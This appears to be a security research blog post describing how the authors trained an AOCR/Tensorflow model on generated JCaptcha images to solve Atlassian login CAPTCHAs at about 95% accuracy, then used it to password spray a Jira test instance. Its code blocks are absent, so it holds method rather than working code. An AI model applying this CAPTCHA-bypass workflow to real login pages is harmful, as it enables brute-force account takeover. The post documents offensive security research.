Breaking JCaptcha using Tensorflow and AOCR

Introduction

In early 2020, we had a situation where we wanted to abuse a known username enumeration issue in Atlassian products. The vulnerability allows to enumerate valid username, but if an attacker wants to bruteforce the identified accounts, a CAPTCHA is displayed in the login page and prevents actual exploitation of the vulnerability.

We therefore looked for a way to automatically bypass this protection. We came upon this article published by F-Secure where they describe a methodology that uses machine learning algorithms to break CAPTCHAs. This seemed like the perfect tool for our purpose. This post will guide you through our process.

Technologies

F-Secure solution is based on AOCR and Tensorflow. They also provided some utility scripts written in Python to help during the classification and labeling phases.

We noticed that Alassian products use the JCaptcha library which was last updated in September 2012. This library produce relatively simple text CAPTCHAS by default, giving us the sense that they _could_ be broken.

Experiment

Initial Setup

Following F-Secure explanations in their Github article we installed Tensorflow on our test server. Note that AOCR works with Tensorflow version 1, and we wanted to used our GPUs, we therefore installed the package "tensorflow-gpu" and the dependencies (CUDA, CUPTI, cuDNN) following the official documentation. We had to try a few different tensorflow-gpu versions to avoid issues with our hardware, and ended-up using tensorflow-gpu v1.8.

Generating a test set

To produce a valid test set while avoiding the hassle of manually labeling CAPTCHAs, we wrote a piece of Java code that would generate CAPTCHA image files using JCaptcha libary. This piece of code would take advantage of Java introspection in order to name the file after the CAPTCHA value.

You can download the JAR file from this archive and use it to generate an arbitrary number of CAPTCHAs, that will be stored in the mentioned directory. In our case, we generated around 20 000 CAPTCHAs image:

The generated images are small (200x70) JPEG files:

Getting everything ready

We used a slightly modified version of F-Secure script, and generated the list file:

We split the file in two parts: one for the training phase (with 18000 CAPTCHAS), and one for the testing (with 2073 CAPTCHAs).

We then generated the tfrecords files using AOCR:

Training the model

We then started training the model with AOCR, specifying our images width and height explicitly:

Using tensorflow-gpu with our 6 NVidia GPUs, we quickly got small enough perplexity and loss values:

Time to see the magic happen by testing the model !

Testing the model

We started the AOCR testing phase and immediately observed interesting results:

The results were really good, most of the CAPTCHAs were correctly solved. Overall, using our training set of 2073 CAPTCHAs, 1970 of them were successfully recognized by our model, and 103 were incorrect, which result in approximately 95% of correct guesses.

Serving the model

The results of the previous phase were really good, but we now wanted to use them in real world to confirm the accuracy of the model. We first exported the model with AOCR:

This will create a new directory named after your model, with the following content:

We then used Tensorflow Serving to deploy an HTTP API serving our model, and submit CAPTCHAs generated by our Jira instance. TensorFlow serving expects to point to a base directory which includes a version subdirectory. So, inside the directory created in last step, create a sub-directory named 1, and copy the saved_model.pb file and the variables directory, then start the serving server with the command:

You can then base64-encode a CAPTCHA and send it to the server with a POST request like:

The server will then answer with the estimated CAPTCHA value, along with its probability. The probability can be particularly useful in case of a real-world bruteforce attack, to avoid submitting a CAPTCHA if the model is not confident enough.

Attacking Jira instance

The last step of our experiment was to deploy everything and start password spraying the Jira instance to confirm it works as expected. We wrote a Python script to connect to our Jira instance and get a CAPTCHA, then base64-encode it and submit it to our deployed Tensorflow Server. Depending on the probability of a correct guess, we either submit the request with the CAPTCHA response, or just ask for another CAPTCHA to solve until we have a high enough probability.

Conclusion

We demonstrated that research published by F-Secure on CAPTCHA breaking is fully actionable, even against widespread CAPTCHA libraries such as JCaptcha. We hope that this article will provide some added value to would-be CAPTCHA breakers, especially when it comes to instrumenting the CAPTCHA libraries against themselves in order to not waste time labeling entries manually.

This post was written by Quentin Kaiser and Antoine Roly.